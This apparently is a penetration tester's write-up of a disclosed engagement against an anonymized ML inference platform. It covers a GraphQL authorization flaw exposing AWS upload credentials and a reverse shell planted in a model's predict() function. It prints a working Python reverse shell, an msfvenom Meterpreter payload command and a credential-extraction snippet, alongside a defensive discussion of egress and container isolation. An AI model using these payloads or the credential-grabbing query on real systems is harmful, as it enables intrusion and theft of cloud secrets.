Hacking AI Infrastructure: A Shell in the Inference Container

This is part two of a two part series on breaking into AI infrastructure. Same rules as last time: the company is anonymized, the bugs are real, and everything was reported and fixed. The reason to write them up is the pattern, because it keeps showing up in AI startups right now.

Part one was a vector database that minted API keys from a single header. This one is a model inference platform. Think of the product as hosting for machine learning: you upload a model, it hands you back an API endpoint that runs it. The whole pitch is that you do not manage any of the infrastructure.

There are two findings. The first is a credential leak through GraphQL, a normal authorization bug that happened to live in a schema. The second is the interesting one, because it is barely a bug at all. It is what happens when the product's entire job is to run code you give it.

At the end of part one I promised a model whose inference entry point executes a reverse shell. Here it is.

Hacking GraphQL for AWS keys

The platform's API was GraphQL. First thing I check on a GraphQL endpoint is whether introspection is on, because introspection is the schema's blueprint. It tells you every type, every query, every field, without any guessing.

A simple example GraphQL schema as an exploded node graph: a Query root pointing to User, Namespace, and a highlighted UploadCredentials type whose AWS key fields are flagged. Labeled an example, not the assessed target.
Simple. A small schema you can read at a glance, and the credentials object jumps right out. Example schema, not the target.
A complex example GraphQL schema: dozens of interconnected types with crisscrossing relationships and the sensitive UploadCredentials type buried among Organization, Model, Deployment, and Billing. Labeled an example, not the assessed target.
Complex. A real world schema, dozens of types and hundreds of fields. The same credentials object is in there, just buried. This is why reading one by hand does not scale. Example schema, not the target.

Flip between the tabs. A simple schema you can read at a glance. A complex one, the kind you actually meet, you cannot.

I did this the slow way first. I fingerprinted the engine with graphw00f, ran graphql-cop for a quick config audit, then confirmed by hand in Burp that introspection answered without authentication, probing paths one at a time and pasting the introspection query in to see what came back.

python graphql-cop.py -t https://<redacted-host> -H '{"sessionid":"<redacted>"}'
graphw00f fingerprinting the target engine and confirming a live GraphQL endpoint. Example run from another engagement, host redacted.
graphw00f fingerprinting the target engine and confirming a live GraphQL endpoint. Example run from another engagement, host redacted.

With the full schema in front of me I went looking for anything that smelled like secrets. It did not take long. There was a query that returned temporary AWS credentials for the S3 bucket the platform used for model uploads:

query {
  <upload_credentials> {
    s3_key
    aws_access_key_id
    aws_secret_access_key
    aws_session_token
  }
}

Unauthenticated, it was denied, which is correct. But the fields were not scoped to anything about me. So I asked the obvious question. What happens if I am just any logged in user?

I signed up for an ordinary, low privilege account, the kind any visitor can create, and asked again. This time it answered with a live access key, secret, and session token.

That is the bug. Introspection told me the credential query existed, and the query itself only checked that I was logged in, not that I had any business getting cloud credentials. Any user could pull them. I wrote a few lines of Python to grab the credentials and drop them straight into an AWS CLI profile, and then I was talking to S3 as the platform.

creds = resp["data"]["<upload_credentials>"]
# write aws_access_key_id / aws_secret_access_key / aws_session_token
# into ~/.aws/credentials and you have a working CLI profile

Two things made this bad. Introspection being open handed me the map. And the sensitive query being gated by "are you logged in" instead of "are you allowed" handed me the keys. Turning introspection off in production makes that credential query a lot harder to find, but the real fix is authorization on the field itself.

Automating the GraphQL recon

Getting from "introspection is on" to a schema you can actually read takes more tools than you would think, and none of them does the whole job. Once graphw00f confirmed the engine and that introspection answered, the ritual on this endpoint went like this.

First I needed the introspection query itself. Rather than write it out, I grabbed a ready-made one from GraphQL Voyager, the hosted build at graphql-kit.com, which has a button that copies the exact query to send.

Copying the introspection query out of GraphQL Voyager. Example run from another engagement, host redacted.
Copying the introspection query out of GraphQL Voyager. Example run from another engagement, host redacted.

I pasted that query into a GraphQL client and pointed it at the endpoint. This is the moment that matters, because it is where the server either refuses or hands its whole schema over.

The introspection query loaded in a GraphQL client, aimed at the endpoint. Host redacted.
The introspection query loaded in a GraphQL client, aimed at the endpoint. Host redacted.

It handed it over. With the schema in front of me, I fed it back into GraphQL Voyager to see the types and operations drawn as a graph, which is the fastest way to spot what the API actually exposes.

GraphQL Voyager rendering the introspected schema as a graph of types. Example run, host redacted.
GraphQL Voyager rendering the introspected schema as a graph of types. Example run, host redacted.

Voyager is good for shape and weak on detail, so I dropped the same JSON into JSON Crack and walked the raw introspection tree node by node.

The same schema in JSON Crack, walked as a tree of nodes. Example run, host redacted.
The same schema in JSON Crack, walked as a tree of nodes. Example run, host redacted.

Last, to be sure the tooling agreed with what I was reading by eye, I ran graphqlmap, which dumps the schema straight from introspection in the terminal.

graphqlmap dumping the schema through introspection. Host redacted.
graphqlmap dumping the schema through introspection. Host redacted.

That is a stack of tools to find one endpoint and read one schema. Flip back to the complex tab up top and you can see why it does not scale. On a real target the query that matters, the one handing out credentials, is a single node in a wall of them, and doing this dance by hand is tedious enough that I only wanted to do it once. So after this engagement I rolled the whole first pass into a tool, checkQL.

Point it at a host and it does the boring part for you. It probes the common GraphQL endpoint paths, fires an introspection query at anything that responds, and saves the schema to a file when introspection is on.

python3 check.py https://<redacted-host> -v

What cost me an afternoon of hand probing on this assessment is one command on the next one. That is the whole reason to build these. The finding is a one time thing, but the technique repeats on every GraphQL target after it, and I would rather spend the afternoon on the part that is actually new.

Getting a shell out of predict()

Here is the part that makes ML platforms different from normal web apps.

The whole product is this: you package a model, you push it, the platform runs it and gives you an inference endpoint. To run a model, the platform has to execute the code that wraps it. That code is a Python class with a predict() function, and predict() is yours. The platform runs whatever you put in it. That is not a misconfiguration. That is the feature.

So the question is not "can I get code execution." You get that by design. The question is "what is on the other side of that container, and can I get out of it."

I scaffolded a new model project with the platform's packaging CLI, which generated the standard files, including a template model.py with an empty predict().

Then I generated a reverse shell with msfvenom and pasted it into predict():

msfvenom -p python/meterpreter/reverse_tcp lhost=<my-listener> lport=4444 -f raw -o shell.py

I also confirmed a plain Python reverse shell worked, no Metasploit needed, in case egress filtering was picky about the payload:

import socket, subprocess, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<my-listener>", 8888))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
pty.spawn("sh")

Then I pushed the project. The platform built it into a container and deployed it, and the logs showed a healthy deployment. So I called the model the way any customer would, with the CLI, and calling the model ran predict(), and predict() connected back to my listener.

<platform-cli> predict -d '"anything"'

Shell in the container. You do not exploit this platform so much as use it exactly as intended.

How far the container went

A shell inside the box is the start, not the finish. The real question for a multi-tenant platform is whether I can reach off the box or onto someone else's.

The packaging format let me add system packages through a config.yaml, so I added nmap to the build and it came along for the ride. That alone tells you the container was not locked down to a minimal runtime. With nmap in hand I ran an egress scan against scanme.nmap.org, the Nmap project's public test host (scanning it is allowed), to map what outbound traffic the container allowed:

nmap -Pn -p 1-65535 scanme.nmap.org

Outbound worked, which is what let the reverse shell connect in the first place. That is worth flagging on its own. A compute node that runs untrusted code should not have wide open egress, because egress is how a shell phones home and how stolen data leaves.

Then I tried to escalate. I was running as an unprivileged app user inside the container, so I threw the usual container escape kits at it, deepce and PEASS, looking for a mounted docker socket, a soft capability, a writable path onto the host. This time the isolation held. No path up. That is the platform doing something right. Code execution inside the sandbox did not become code execution on the host.

Why this keeps happening to AI companies

On a normal web app, remote code execution is the worst case, the thing you spend all your effort preventing. On a model platform, code execution is Tuesday. It is the product. Which means the security model has to move one layer out, from "stop code from running" to "assume hostile code is running and contain it." Most teams building these platforms are still defending the first boundary while the money is behind the second one.

If you are building or buying this kind of platform, the questions that matter are:

The credential leak was a classic authorization bug that happened to live in GraphQL. The deployment RCE was not a bug in the usual sense at all, it was the platform working as designed, which is exactly why it is easy to under-protect. When your product runs strangers' code for a living, the container boundary is your real perimeter, and that is where the security budget should go.

Both findings were reported and fixed. And that is the pattern across both parts. In part one a vector database guarded its JWT and left the key-minting Server Action wide open. Here a platform hardened its container and left the cloud credentials one query away. On AI infrastructure, the boundary you are guarding is rarely the one that matters.

↑